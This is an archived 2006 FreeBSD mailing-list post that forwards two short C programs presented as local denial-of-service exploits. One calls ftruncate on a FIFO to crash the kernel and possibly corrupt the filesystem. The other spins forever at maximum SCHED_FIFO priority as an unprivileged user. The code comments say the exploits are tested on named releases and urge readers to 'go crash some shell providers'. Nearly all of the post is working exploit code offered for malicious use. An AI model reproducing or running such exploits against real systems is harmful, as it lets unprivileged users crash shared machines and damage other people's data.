Not sure about...
- From: "aegis" <aegis@xxxxxxxxxxx>
- Date: Fri, 13 Oct 2006 11:21:17 -0400
I'm not sure if this is the address I shuold be contacting, although I feel this is severely important...
1.. /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
2.. Log: According to POSIX, the result of ftruncate(2) is unspecified
3.. for file types other than VREG, VDIR and shared memory objects.
4.. We already handle VREG, VLNK and VDIR cases. Silently ignore
5.. truncate requests for all the rest. PR kern/98064
6..
7.. lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
8.. tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
9.. - it just makes the system reboot, and with a bit of luck fucks up the filesystem.
10.. wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
11.. usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
12..
13.. */
14..
15.. #include <fcntl.h>
16.. #include <unistd.h>
17.. #include <sys/types.h>
18.. #include <sys/stat.h>
19..
20.. int main(){
21.. mkfifo("lol",0x1b6);
22.. int fd = open("lol",O_RDWR);
23.. ftruncate(fd,12345);
24.. close(fd);
25.. }
1.. /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
b..
3.. Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
4.. lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
5.. tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
6.. wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
7.. usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
8.. */
9.. #include <sched.h>
10.. int main(){
11.. struct sched_param lol;
12.. lol.sched_priority = sched_get_priority_max(SCHED_FIFO);
13.. sched_setscheduler(0,SCHED_FIFO,&lol);
14.. for(;;){}
15.. }
_______________________________________________
freebsd-questions@xxxxxxxxxxx mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscribe@xxxxxxxxxxx"
- Follow-Ups:
- Re: Not sure about...
- From: Bill Moran
- Re: Not sure about...
- Prev by Date: RE: Openssl 0.9.8c woes
- Next by Date: Re: Not sure about...
- Previous by thread: cups and /dev/lpt
- Next by thread: Re: Not sure about...
- Index(es):